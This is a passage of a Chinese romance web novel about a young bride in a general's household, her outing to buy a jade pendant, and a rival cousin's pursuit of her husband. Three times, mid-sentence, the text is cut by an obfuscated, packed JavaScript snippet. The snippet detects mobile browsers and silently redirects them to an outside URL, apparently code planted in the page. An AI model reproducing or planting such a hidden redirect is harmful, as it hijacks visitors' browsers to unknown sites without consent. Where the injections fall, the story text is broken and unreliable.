她知道姑娘在想什么,以前在安定侯府时,姑娘整日受府中人的欺负,不是让她冬日洗一大盆衣裳,便是令她在狂风乱作时清扫院落……凡此种冲,不胜枚举。 很多时候她也想帮姑娘,可她知晓,侯府到处都是主母的耳目,若她帮了,只会害得姑娘遭到更重的惩罚,是以每当这个时候她也只能躲起来偷偷抹泪。 好在,那些苦日子都熬过去了,还是姑娘命好,跟着姑娘,她现在也能吃饱穿暖了,在将军府也没人欺负自己。只是,惟愿姑娘和少将军能早日心意相通,那样就更好了。 看着下人们收起卫生工具,玉露思绪回笼:“该用早食了,姑娘。” 温轻竹点点头:“走吧,不能让父亲和母亲久等了。” 到了正厅,温轻竹刚和萧鸿晟和吴雪离行了礼,崔怜霜便在丫鬟搀扶下走了过来,宛如弱柳扶风。 “见过表舅,表舅母。”崔怜霜施施然行了一礼。 吴雪离连忙示意她坐下,“霜儿不必这么客气,遭了这么大罪,你可千万要好生休养。” “是,表舅母。”崔怜霜挨着温轻竹坐下,而后像是突然想起似的问道,“表嫂,怎么没见原哥哥啊?” 听了这个称呼,温轻竹不由眉心轻蹙,面上依旧维持体面,回道:“少将军去军营了。” 萧怀雁随口抱怨道:“哥哥向来如此,从不在府中多待。” “原来如此,原哥哥真是勤学苦练啊!”崔怜霜夸赞道,眼里满含钦佩之色。 温轻竹不由得多看了她一眼,她和那日从书房失魂落魄跑出来的样子截然不同,仿佛那件事从没发生过一般。 萧鸿晟率先拿起食箸道:“不管他,吃饭。” 用完早食,温轻竹正要离开,崔怜霜却看着吴雪离泫然欲泣道:“表舅母,霜儿知道自己在府上是多余的,承蒙您和表舅不嫌弃,收留了霜儿,可霜儿也晓得,没准哪一日会被赶出去,再次无家可归。” “好孩子,好端端地说这些做什么呢?”吴雪离拉着崔怜霜的手,怜惜道,“你放心,有我在,你想住多久住多久。” 玉露看了自家姑娘一眼,当即低头默默翻了个白眼。 “有您这句话,霜儿就放心了。”崔怜霜瞬间恢复了灿烂的笑容,又看向温轻竹,“只是,霜儿来了这么久,还没有出过门,因而有个不情之请,不知能否请表嫂带霜儿在长安城转一转?也不知道和小时候的相比,有没有什么变化。” 她越说声音越低,语气恳切而又卑微,好似生怕温轻竹不答应她的请求。 温轻竹道:“当然可以。” “说起来都怪我,轻竹也嫁进来有些时日了,也鲜少出门,霜儿不说我倒忘了。”吴雪离略有些尴尬地笑笑,看向儿媳,很快命丫鬟拿了些银子,塞给了温轻竹,“今日你们便出去逛逛,看上什么买什么,可别舍不得花钱。” 将军府日常生活虽比较节俭,可毕竟有两人拿俸禄,日常花销总是够的。温轻竹拿着颇有分量的钱包,心里倒也有了底。 不过,她往日里很少出门,但在安定侯府时曾想法子赚钱露过脸,恐被认出引起不必要的麻烦,温轻竹还是决定戴上帷帽再出门。 思及此,温轻竹对崔怜霜道:“我还需回去准备一二,请崔姑娘在此稍等一会。” 回了主屋,玉露就打开衣柜门找帷帽,同时抱怨起来:“姑娘,你答应她干嘛?遇上她准没好事。她想出去玩又不是没有丫鬟,非得姑娘作陪不成?” “这是夫人的意思。”温轻竹捏着手中的钱包,淡淡道,“况且,崔姑娘是府上的客人,作为主人,理应让客人尽兴。” “夫人偏心,”玉露为自家姑娘戴上帷帽,嘴撅得老高,“之前也没见给姑娘这么多银子,一听到她要出门,就给姑娘银子了。” “你就少说两句吧。”温轻竹无奈道。 玉露说的她何尝不懂,只是人在屋檐下,不得不低头。从前在安定侯府如此,在将军府自然也有不得已的时候。 -- 好不容易出趟门,玉露不禁叹道:“长安城真繁华啊!” “是啊,咱们就该多出来走走。”崔怜霜挽着温轻竹,不知是有意还是无意道,“将军府是大户人家,还是要多见见世面,才能融入贵女圈里。” 温轻竹点头:“崔姑娘说的是。” 崔怜霜在街道上流连忘返,每路过一个店铺、小摊都要停下来看好久,几番下来,玉露手上满是买的东西,怀里都快抱不下了。 “姑娘,你也买点什么吧。”玉露见手上尽是崔怜霜买的,而自家姑娘只买了几个小物件,便忍不住劝道。 刚好路过一家玉器店,装潢古雅清新,温轻竹开口道:“进去看看吧。” 掌柜的一见三人衣着打扮,便知是个大主顾,连忙上前招揽:“本店各色玉饰应有尽有,不管是女子佩戴的,还是男子佩戴的,亦或是小儿佩戴的,或者是做家里的摆件,包您满意,不知两位姑娘想要买什么样的?” 温轻竹摆了摆手道:“不劳掌柜费心,我们随便看看。” 温轻竹和玉露还是第一次看见这么多玉器,自然看得眼花缭乱,玉露时不时提着建议,两人都没发现,崔怜霜不知何时已经不在店里了。 掌柜的见主仆俩看了许久的玉佩,连忙过来问道:“姑娘,挑了这么久,可有喜欢的?” 温轻竹手上拿着一块玉佩,反复看了许久,轻轻摇头,放下,正要拿起另一块玉佩,却有人先一步拿了过来,“掌柜的,这块玉佩我要了。” 温轻竹抬头看去,却见一温润尔雅的男子拿起了玉佩,终究是在外面,不好与外男过多接触,连忙侧身看向别处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041531|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那块玉佩本也没什么特别,只是一块常见的司南佩,不过胜在样式简单古朴,适合男子佩戴。且司南佩有辟邪护身功能,萧丞原时常上战场,打打杀杀的多有凶险,因此温轻竹想买块司南佩送给他。 “明明是我家姑娘先看上的。”玉露不禁小声嘀咕道。 掌柜见状,也有些为难,忙出来打圆场道:“二位真是好眼光啊,哈哈哈哈,我这店里什么款式的玉佩都有,公子和姑娘不妨再多看看。” 温轻竹却觉得其他玉佩都没有刚才那个好,便站在原地没有说什么。 对面那个男子却将玉佩放回原处,朗润的声音笑道:“君子不夺人所好,既是姑娘先看上的,那纪某就不好再与你相争了。” 温轻竹感激地行礼道:“多谢纪公子。” 付了钱,温轻竹正想问崔怜霜有没有看中的玉佩,却发觉对方早已不见了踪影,不由急道:“掌柜的,你可看见和我一同来的姑娘去了何处?” 掌柜环顾四周,也没有头绪,疑惑道:“这……刚刚还在这里的,我也不知道她什么时候走的,更不知道她去哪了。” 温轻竹带着玉露匆忙走出玉器店,恰巧一阵风吹过,拂起了帷帽一角,使她艳丽白皙的侧脸暴露在外,纪良衡瞥见便再也移不开眼,不禁开口唤了声“姑娘”,怎奈她寻人心切,并未听到身后的呼唤。 “这崔姑娘也真是的,第一次出府就跑没影了,真要失踪了将军和夫人那里该怎么交代?”玉露边四处寻找,边腾出手来给自家姑娘擦汗,简直忙得不可开交。 温轻竹定了定心神,接过玉露手中部分物品,“也许崔姑娘是觉得新奇,跑去别处玩了,她定不会失踪的。” 又走了半条街,玉露已累得气喘吁吁,不想再往前走,两人准备停下歇息片刻再找。 就在这时,耳边忽然听到一声“表嫂”,温轻竹疑心听错了,目光四处探寻着,终于在前面的小摊看见了崔怜霜。 “表嫂,我等你好久了,怎么才出来啊?”见温轻竹走近,崔怜霜娇娇柔柔道,好像浑然不知别人寻她费了多大工夫,又随手拿起一条腰带,“你看着条腰带好不好看?” “尚可。”温轻竹这才发现这个小摊卖的是各种样式的腰带。 不过,崔怜霜手上拿的却是一条男式腰带。 她语气兴奋道:“表嫂,看来我俩眼光一致呢。” 温轻竹皱了下眉,并未说什么。 崔怜霜还在继续道:“可我总觉得叫表嫂有些生疏,往后日子还长着,不如我叫你温姐姐如何?” “可以,你开心便好。”温轻竹随口道。 她没有亲姐妹,在安定侯府却见惯了姐妹间的算计,姐妹相称未必是好事。不过这只是个称呼而已,她爱怎么叫就怎么叫。 “温姐姐这可就见外了,”崔怜霜接过玉露递来的钱包付过钱,自己拿着那条腰带,爱不释手,“温姐姐以后就叫我怜霜或者霜儿吧。” “好,怜霜。”温轻竹将她的举动都看在眼里,并未说什么,再看一眼玉露快要承受不住怀里那些物什的样子,便开口道,“时辰不早了,再晚些太阳更晒人,咱们还是先回府吧。” 14. 礼物 温轻竹刚回府,便遇上同样从外面回来的萧怀雁。 “二弟,你去哪了?”温轻竹好奇道。 这个时辰,萧怀雁应当在府里聆听先生教诲,怎么溜去外面了呢? “嫂嫂,霜姐姐。”萧怀雁嘘了一声,示意两人凑近点,他才低声开口,“还不是那个林先生管太严,我自然是趁他困倦时偷溜出来的。” 温轻竹知道他向来不爱舞刀弄枪,读书也只是凭兴趣,大概是还没有收心定性吧。今日他定是做了什么手脚让先生晕过去了,才能脱身出府。 “若被爹爹发现就完了,你们可千万替我保守秘密。”萧怀雁双手合十恳求道,得到肯定答复他才放下心来,转眼看到玉露抱了满怀的东西,眼珠转了转,狡黠地笑了笑,“你们出去这么久,买了些什么好东西,有我的吗?” “当然少不了你的,”温轻竹好不容易从诸多物品中找出一本书来,递给萧怀雁,明眸一笑,露出两个浅浅的梨涡,“二弟还是应听先生的话,用功读书。” 萧怀雁接过来一看,封面上大大的四个字——春秋详注,这是和《春秋》过不去了吗?昨日先生才罚他抄《春秋》,怎么今日嫂子又送他一本。原本扬起的笑脸也瞬间垮了下去,活像个小苦瓜。 “逗你的,二弟。”温轻竹看他这模样忍俊不禁,掩唇轻笑道,“这里还有很多,不知道你喜欢什么,我们都买了些。” 萧怀雁眼里重新绽放了神采,欢欣地挑了一副象棋和一个九连环,“谢谢嫂子,谢谢霜姐姐!” 那象棋是温轻竹挑的,而九连环则是崔怜霜选中的。 二人又去正厅见了将军和夫人,把给将军、夫人买的礼物挑了出来,余下的便分别带走了。 温轻竹注意到,从始至终,崔怜霜都把那条男式腰带藏得紧紧的,始终没有拿出来,府里就几个男子,她想送给谁显而易见。 那日在亭子里撞见的画面仍旧清晰地印刻在脑海中,这几日反复在眼前出现。她不知道他们之间发生了什么,但他们二人早有前缘,她亦没有立场去多想。 只是在回东院的路上,温轻竹神思不属,连几个下人问安都没有听见。 “都去忙吧,少夫人有些乏了。”玉露打发了旁人探询的目光,扯了扯自家姑娘衣袖,“姑娘,你怎么了?” 温轻竹这才发现早已回了东院,收回了思绪,说道:“哦,没怎么,我只是很久没出去,觉得长安城真的很大。” 玉露:“嗯嗯,以后还有很多机会游览长安城的。” “回来了?”身穿玄袍的男子长身玉立,缓缓转过身来,走到近处来,将新婚妻子细细打量一番,“在聊什么呢?这么开心。” “少将军。”温轻竹一愣,没想到他今日回来这么早,先前想事情,也没有留意下人说的话,想来他已经回来好一会了。 虽然已经打定主意要抱上萧丞原这个大腿,可他主动搭话她还是有点不太习惯的。更何况她先前没有留意,一时间两人离得这么近,呼吸可闻,男人极具侵略性的气息环绕在颈边,她也不太适应。 再者,她的脑海中时不时会闪现关于萧丞原的种种传闻,一想到旁人形容他啥在战场上杀人如麻,甚至对女人都毫不手软,她就有点打退堂鼓了。 本来,她是不会刻意想起的,可一离得近了,她就有点控制不住自己去想象那些血腥恐怖的画面,那些影像一帧一帧的在脑海里回放。 温轻竹不自觉抖了一下,还好玉露有眼力劲儿,将手上的东西放到一边,快步过来扶住自家姑娘,解释道:“少将军,我家姑娘自小体虚,今日出去逛街有些乏累,可否先让奴婢扶姑娘回房歇息?” 萧丞原没说什么,只是眯着眼,再次扫了温轻竹一眼。 他不过随口问问,竟怕成这样?当初怎就有胆量嫁来将军府的。 温轻竹感受到他的目光,冰冷而又锐利,有种被冷血动物缠上的错觉,又仿佛是一只正在逃跑的小动物落入猎人射程之内,往哪跑都没生路。 “不打紧的,”温轻竹依靠玉露的力量总算站稳了,她抿了抿唇,竭力使自己镇定些,“今日出府,给府上人都买了些礼物,不知少将军喜欢什么,只好自己做主给你挑了一样。” 玉露即刻会意,从今日买回的东西里,找出了自家姑娘挑中的司南佩。 见萧丞原伸手,饶有兴致地瞧着那枚玉佩,温轻竹硬着头皮,像拿着个烫手山芋似的,轻颤着放在他手心,一触即离,“司南佩有辟邪护身之功用,希望少将军佩戴在身,护佑你所向披靡,战无不胜。” “你在怕什么?”萧丞原没有放过这个机会,快速抓住少女霜雪般的皓腕,悠悠开口道,“我听二弟说,你我成亲那日,你曾说过心悦我。” 先前回门时,在安定侯府,她面对母亲的欺辱、妹妹的陷害、父亲的偏心,甚至一滴泪都没落,尚能站出来应对自如,怎么现在一点看不出当时的气魄了。若真像她说的心悦自己,也不该是这种表现呀。 “没……没有。”温轻竹只觉脸和耳朵一起烧起来了,先前胡诌的话怎么能算数呢,她侧着脸看向不远处的地面,不敢抬头直视眼前人,只嘴角勉强扯出一丝笑意,“我见少将军今日回来这样早,心里感到高兴。” 萧丞原似乎比较满意这个回答,顺口说道:“好,那我日后也尽量回来早些,免得轻竹一人在家无聊。” 温轻竹手腕被捏得生疼,即使尽力忽视,仍旧无法消除男人强烈的存在感,她无心去想对方刚刚说了什么,只想摆脱他的桎梏,轻轻挣了挣,居然轻易挣脱了。 “少将军,我先回屋歇息了。” 没等到他的回应,少女便快步往房间走,与他擦身而过,只有淡淡的馨香萦绕在空气里,许久未曾散去。 萧丞原看着手心那枚司南佩,看了许久,直至听到有人走近的脚步声,他才将玉佩收好,恢复冷肃的神情。 “让你办的事怎么样了?” 近侍肃玄抱拳行礼:“回少将军的话,今日属下跟随少夫人出行,并未发觉少夫人有何异样,只是……” 萧丞原听出他话里的犹豫,语气危险道:“只是什么?” 虽然他现在已经接受了这个名义上的妻子,可她到底是安定侯府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046852|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出身,在他未弄清安定侯这个老狐狸的真正意图之前,依旧不能掉以轻心。是以这次出府,他暗中派人留意着温轻竹的动向,看她接触了什么人,有没有异样。 “只是中途有一阵子,崔姑娘消失了一会。”肃玄斟酌着开口,生怕惹得这位杀神不快,“可属下想着,少将军命属下盯着少夫人,因而不敢轻举妄动。” “知道了。”萧丞原把玩着手中玉佩,说道,“退下吧。” 他并不关心崔怜霜如何,父亲和母亲可怜她身世,将她留在府上,只要不惹到自己,他自然不会理会。 “是,属下告退。” “等等,”萧丞原沉吟片刻,叫住了将要离开的肃玄,“日后再遇到这种情况,要见机行事。” -- 温轻竹回房喝了一大杯凉水,深呼吸了好几次,才缓了过来,还好刚才萧丞原没有过度追究,不然她真要完了。 再回想刚才两人相处的一幕幕,她又燥热起来,正要拿起水壶倒水,却被玉露一把抢了过来,“姑娘,你不能再喝凉水了!” 温轻竹无奈,只得作罢,努力掐了自己一下,才没有继续乱想下去。 玉露却有了交谈的兴致,拉着自家姑娘的手,神情兴奋不已:“姑娘,刚刚少将军叫你什么,你还记得吗?” 这她还真没什么印象了,左不过是“温姑娘”罢了,还能有什么?从成亲那天起,他就这般疏离,看得出来,他一直对自己很是不满。 “我可是听见了哦,”玉露没有注意温轻竹,自顾自说了下去,“少将军叫你——‘轻竹’!” “呸,实在不是奴婢有意僭越,我只是转述少将军对您的称呼。” 玉露这么一说,温轻竹也想起来了,她没有追究玉露的话语,毕竟两人自小便情同姐妹。她只是在想那个凶狠残暴而又深不可测的男人,而后摇了摇头:“这也不能说明什么。” 况且,回门那次为了做戏,他在安定侯面前也叫了自己“轻竹”,不过那时玉露被霜叶扇了巴掌,不便前来伺候,没有听到罢了。 “这说明少将军拿姑娘当自家人看了,姑娘你还记得吗?一开始他可是都不准牧方叫你少将军的……” 听着玉露越说越多,温轻竹原本不太相信的,可渐渐地内心动摇了起来,生出了几分期许。 离午食尚有一会,温轻竹理好思绪,决心再接再厉,慢慢融化这个冰冷战神的心,她切了些水果,准备给萧丞原拿去。 听下人说,少将军在钓鱼,于是她便和玉露一起走向后院的那片湖。 日头正盛,空气中送来的几缕风显得微不足道,走两步便觉暑热难耐。萧丞原是习武之人,不论狂风暴雨,还是烈日炎炎都扛得住,听说他经常一人来后院钓鱼,以此静心养气,钓鱼时通常不准旁人打扰。 温轻竹想起先前发生的事,又怕惹他生气,不知会有怎样的后果,下意识放慢了脚步。 “姑娘,你看!”玉露眼尖,一下子看见了什么,气愤地指着那处小声道。 温轻竹顺着玉露手指的方向看去,只一眼,却只觉天旋地转,如遭雷击。 15. 打算 温轻竹不可置信地揉了揉眼睛,细看去,前方小凉亭,有一男一女停留在此,隔着一段距离,听不清两人在说什么,只是看身形衣着,正是萧丞原与崔怜霜,且看似举止亲密。 也不知萧丞原说了什么,崔怜霜显然情绪激动了起来,她拿出了那条男式腰带,伸手绕到他背后,似乎是要为他系上。 原来,她猜的没错,崔怜霜买下那条腰带,就是为了送给萧丞原。 “哐当”一声,瓷碟手滑脱落,掉在了地上,满碟的时令水果被砸烂一地,汁水淌得到处都是,少女雪白的裙裾也被溅起了点点印记…… “玉露,我们走!”温轻竹转身往外走,逃也似的离开了后院。 她不该来的,今日是昏了头才听信了玉露的分析,以为他对自己的态度有所缓和,对他生出了不该有的期待,真是自作多情。 “真不要脸!”离开后院,玉露见四周无人,不由得为自家姑娘打抱不平,“光天化日之下,就敢勾搭有妇之夫,还表姑娘呢,我看她就是奔着将军府女主人的位置来的。” 头一次,温轻竹没有打断玉露的话,只是默默听着,她知道玉露说的也不无道理,说不定将军府很多人私底下都这样想,等着看自己笑话呢。 可是她又能怎样呢?她只是一个随时可能暴露身份、成为安定侯府弃子的假千金,所求不过一个能吃饱穿暖、遮风避雨的栖身之所而已。在有足够的谋生和自保能力之前,她还要待在将军府,对于这些事只能睁一只眼闭一只眼,装作不知道。 “姑娘,你说句话啊!”玉露见自家姑娘自从回来就一言不发,有些慌了神,“再这样下去,将军府可怎么待啊?侯府的人若是知道了,少不得要来嘲笑姑娘。” 特别是那骆宜秋母女,如果知晓她在将军府这般处境,不知会如何奚落嘲讽。 温轻竹苦笑:“我还能说什么呢?” 事实已经摆在眼前,这还让她如何说服自己,崔怜霜只是暂住将军府的客人,恐怕将军府的小丫鬟都不会相信吧。 -- 后院凉亭。 “崔怜霜,你适可而止!” 男人怒喝着,满眼嫌弃与愤怒,飞速扯开女子靠近的手,顺带将她手里的腰带也扔进了湖里。 萧丞原没想到,世上还有如此厚颜无耻的女人,本朝开国以来,女子向来注重自身名节,极为注重颜面,可这崔怜霜简直不按常理出牌。 他原以为,上一次在书房已经说得很清楚了,他已娶了妻,幼时的口头婚约自然做不得数,可这回她竟趁着自己独处钓鱼又凑了上来,在他出言拒绝的情况下,还想趁他不备将那腰带给他系上。 其实温轻竹来的时候他听到了脚步声,不过是想等她拿出自己的身份来解围,可却什么都没等到,直到听见瓷碟打碎的声音,才愤然甩开崔怜霜的手。 被拒绝的屈辱、委屈涌上心头,崔怜霜流下两行泪珠,拦住了萧丞原的去路,不甘道:“原哥哥,难道你还不明白我对你的心意吗?” 崔家从前虽算不上大富大贵,但好歹也是一方巨贾,多少小有功名的富家子弟曾上门求亲,可她都让母亲婉拒了,只因她一心念着萧丞原。母亲劝她,将军府门第显赫,幼时的口头婚约未必做数,且本来也没有留下凭证,何必蹉跎了自己,她从来都不听劝,坚信幼时那个正直善良的小少年会娶自己。 可到头来,果然被母亲说准了,将军府根本就不打算承认这婚约。 不,也不全然是这样,将军夫人私底下也曾表示惋惜,说当时是因听说崔家遭遇不测,见她下落不明,只好打消了念头。将军近些年一直为儿子婚事忧心,恰好前些日子安定侯提出联姻,正好解除了将军的心病,两家联姻还得了圣上赞誉。 萧丞原看着挡在自己面前的女子,只觉得厌恶,没有半分好脸色,冷声道:“让开!” “原哥哥,你不能这样!”崔怜霜拉住萧丞原的衣袖,不想让人走,“明明当初说好的婚约,怎么就不做数了呢?” 他知不知道,自己为了回来见他,付出了多大的代价? “谁说的你找谁,我从来不知你口中所谓的荒唐婚约。” 萧丞原用力扯走了衣袖,他已经很不耐烦了,若不是还顾着她身世可怜,早就不会留她在将军府了。 在军中时,他身边没少被人送来各种各样的女人,十有八九是用来打探消息的细作,且多是训练有素的杀手,他有的是法子折磨她们,要不了两三天她们便会受不住自我了断了。 可这崔怜霜却是个麻烦,她家确实与将军府交好,又是远房亲戚,幼时他也曾见过崔伯父,只是没想到如今的崔怜霜竟和幼时判若两人,他极不愿与其相处,可偏偏父母怜悯她,待她极好,只要她没有做出太过分的事情,他也没必要把事情弄得太僵。 望着男人冷漠离去的身影,崔怜霜擦干了眼泪,眼里露出一抹狠绝,自语道:“这是你逼我的,日后可不要后悔。” -- “你个小兔崽子,今天是不是又对先生无礼了?” 到了用饭时间,温轻竹刚来正厅,就见萧鸿晟拿着鸡毛掸子,正追着萧怀雁打,后者终究是年轻,跑起来灵敏迅捷,萧将军自然追不上他,累得在后面气喘吁吁,跑两步就要停下来歇会儿。 “哎呀,别打了,娘亲,嫂子,你们救救我!”萧怀雁抱着柱子求救道。 父母管教子女,天经地义,这是人家的家事,温轻竹这个做嫂嫂的自然是没有插手的道理,不过看着这“父慈子孝”的一幕,刚才在后院的郁闷也消减了许多。 “将军,怀雁他已经知错了,也跟柳先生道过歉了,就别打他了。”吴雪离急得水也不喝了,上前几步制止道。 “再说了,怀雁也不小了,再有个两三年就该行冠礼了,年轻人总是爱面子的,将军您这样,怀雁还如何在下人面前立威。” 萧怀雁整日里活脱脱小孩子心性,可实际上他如今已有十七,比温轻竹还大上一岁。 萧鸿晟被吴雪离好说歹说,才算停了手,坐下喝了一大杯水,顺了顺气,才叹道:“他是不小了,可整日里没个正形,到底从文还是从武也没定下来,要是像他哥那样该有多好……” “将军!”这似乎勾起了吴雪离的伤心事,她脸色骤变,打断了萧鸿晟的话,“原儿变成现在这样都怪你,你还说。” 温轻竹听到这话,想起之前吴雪离似乎也提到过一点,但被萧丞原打断了,便没有说下去,她倒是有些好奇,赶明儿得找机会问清楚。 “是是是,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051339|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提了。”萧鸿晟余光瞥见鬼鬼祟祟靠墙走来的小儿子,又恨铁不成钢道,“可柳先生是我好不容易请来的,这小崽子三番五次戏弄先生,实在是不争气!” 眼看崔怜霜也过来了,吴雪离连忙劝道:“不说这些了,先用饭。” 萧丞原一直到菜上完了才来。 “今日怎么又来这么晚?”萧鸿晟小酌一杯,不满地看向大儿子。 他记得没错的话,萧丞原今日是去城外清剿流窜的北狄势力残余,早早地就回了府,怎么在用饭时还迟到? “将军。”吴雪离瞪了丈夫一眼,连忙给大儿子布菜,“别管你爹,他喝多了就这样,原儿好不容易在家里用饭,可要多吃些。” 萧丞原应了一声,只管闷头用饭,别的什么也没说,吴雪离给他夹到碗里的他都很快吃掉了。这可把吴雪离高兴坏了,只是觉得今日的大儿子格外听话些,就又给他夹了不少肉。 萧丞原用完饭,便告辞离去。 “娘,你不觉得哥哥今天怪怪的吗?”萧怀雁盯着哥哥的背影,小声嘀咕道。 “咳咳。”萧鸿晟轻咳了两声。 萧怀雁立刻收回目光,专注于消灭碗里的饭菜。 温轻竹见状,拿起公筷给他夹菜:“二弟,你多吃点。” 嫁来将军府这么久,温轻竹对府里的规矩也有所了解,将军府确实家规森严,尤其是萧鸿晟对两个儿子的教养上,只她是女眷,又初来乍到,对她也宽容些。对崔怜霜这个表姑娘,将军和夫人念旧情,自然也对她格外优待。 萧怀雁嘴里咀嚼着,含糊不清道:“还是娘亲和嫂子对我好。” “霜儿,你也吃菜,别拘礼。”吴雪离见崔怜霜中午来了,除了见礼之外没有说话,似乎有什么心事,便连忙喊她。 崔怜霜莞尔一笑:“是,表舅母。” 温轻竹没滋没味地用了饭,回到东院,果然没有萧丞原的踪影,不知他去了何处。 她刚才仔细想了想,今天的事情也许并非她看到的那样,至少她只看到崔怜霜的举动,并未听清两人的对话,也许眼见不一定为实呢。 她想找萧丞原问清楚,可却找不到他的身影。也许事情本来就是那样呢,那他也就没有和自己解释的必要了吧,再说了,他本来就不喜自己。 “玉露,你想离开吗?”温轻竹把门关好,轻声问道。 倘若真有那么一天,将军府容不下自己,那她得早做打算了。 “姑娘,你不想待在这里了吗?”玉露瞪大了双眼,呆愣道,“可是姑娘,你已经和少将军成亲了呀!” “不管这些,”温轻竹点了点玉露的额头,笑着说,“我就问你,如果能离开这里,你想不想和我一起走?” “嗯,想想想!”玉露连连点头,在自家姑娘手上蹭了蹭,“嘿嘿,姑娘去哪奴婢就去哪。” “还要带上李嬷嬷。” “对,还有嬷嬷。” 她自打生下来就没见过亲生父母,最亲的人也就玉露和李嬷嬷了,她只想带着她们,走得远远的,找个谁也不认识的地方好好生活。 在将军府的日子虽比从前好了许多,可如果仅仅指望每个月的月例,还不知道要攒到猴年马月才能离开,她要开始做点什么攒钱了。 16. 上街 将军府不同于安定侯府,温轻竹自然不必像过去那般看人脸色行事,凡事亲力亲为,连个粗使丫鬟都使不动,在这里,温轻竹拥有了很多的自由,或者说与身份相匹配的权利。 因而,当她对吴雪离说想出府逛逛时,她没有多加干涉,只是笑着叮嘱早些回来,又吩咐玉露照顾好她。 此次出门,自然是为了找点挣钱的门路,这种事不能让别人知晓,只能偷偷进行。以防万一,温轻竹依然戴了帷帽出府。 “姑娘,都怪我多嘴。”出门后,玉露一直闷闷不乐的,她很是愧疚,“那天要不是我眼拙嘴欠,您就不用还出来受这种苦了。” 以前在安定侯府是窘迫了些,姑娘不得已才偷偷出来找些绣帕子、洗衣裳的活计赚钱。可如今在将军府日子过得多舒心啊,将军和夫人待姑娘极好,下人也都谨守本分,再也不用挨饿受冻了,要不是她那日在后院指给姑娘看凉亭里的情形,姑娘就不会想到攒钱离开了。 “不关你的事。”温轻竹瞧着玉露满含歉意的眼神,笑道,“不一定要离开将军府呢,这只是下策。” 玉露听了,更加摸不着头脑了,“那姑娘这是……” 温轻竹道:“只是出来转转,透透气。” 在将军府待久了,过上了舒适的日子,她都快忘了在安定侯府的苦难了。她今日出府,是想看看当初帮助过自己的那些街坊,看看他们过得好不好。此外,她也想打听一下有没有地方还需要用人,她可以做些活计来赚钱,左右萧丞原经常不在府中,只要暗中进行就好。 “姑娘,你怎么又来这里了呀?”玉露跟着自家姑娘,在清水巷停下了脚步。 清水巷是长安城达官贵人鲜少涉足之地,这里居住的都是从祖上起便艰难度日的穷苦百姓,也有从外地逃难过来安家的,靠做点小买卖、小活计来维持生计。温轻竹小时候有一次偷跑出来,找不到回侯府的路,还是清水巷里一个大哥哥送她回去的。 后来,她渐渐大些了,出来找赚钱的门路,便找到了清水巷,这里的人虽然过得贫苦,可个个心地善良,见她一个小姑娘讨生计艰难,只以为她是爹娘养不起,丢进大户人家做了丫鬟又受主家苛待,所以对她格外好,有什么她能干的活儿都给她留着。 张大娘还是在卖菜,虽然她摊前很少有人光顾,可她仍旧把菜择得很干净;李二叔还在经营肉铺,顾客要什么绝不缺斤少两,一刀下来利落分明;何娘子在浆洗衣裳,旁边跟着两个胖娃娃,将手伸进木盆里抓泡沫玩…… 很久没来过了,清水巷还是老样子,街坊门日复一日地做着自己的事情,日子过得俭朴而又温馨,充满了烟火气息。 温轻竹如今好过一些了,再看看大家伙儿的日子,她实在不忍心在这里抢大家的活计干,只驻足了片刻,便转身离去。 “哎,姑娘留步!”张大娘放下手里的菜,找了快布擦净了手走过来,打量一番道,“姑娘不是这儿的人吧?我看姑娘在这待了好一会,是来找人的?” 张大娘忽然眼前一亮,指着玉露笑道:“哎,还别说,这个小丫鬟看着倒是挺面熟的。” 温轻竹见她认出了玉露,只好放下帷帽,“张大娘,是我。” “哎哟,温姑娘,是你呀。”张大娘看她穿着打扮,惊奇道,“你如今不在那家干活了吧?莫不是被哪个大官瞧上了?” 她瞧着温轻竹如今的模样,多半是走了好运,吃穿不愁了,早先她便瞧这姑娘长相水灵,应是有造化的。 “前些日子仓促成婚,没能邀请张大娘,还请大娘见谅。”温轻竹轻笑道,并未否认。她今日出门已经尽量低调,穿的是烟紫色百褶掐丝裙,只是这料子却是极好的,明眼人一眼就能看出不是普通人家穿得起的。 “难得温姑娘还记得我,大户人家规矩多,我也是知道的。”张大娘拉着温轻竹到旁边说话,寻了个凳子请她坐下,有些担忧道,“只是你如今已嫁了人,夫家也不缺你一口吃的,怎的又来清水巷了?是不是在家过得不顺心?” 她知道温轻竹出身苦,多半是嫁给大户人家做了小,只是顾及她的心理感受,并不好明说。 “我今日来是想看看大家。”温轻竹被戳中心事,戴上帷帽,起身与张大娘告辞,“突然想起家中还有事,就不叨扰了,请大娘替我向大家问好。” “哎,温姑娘……”张大娘手里拿了把小白菜追出来,温轻竹已经走了很远,身影没入人群中。 -- 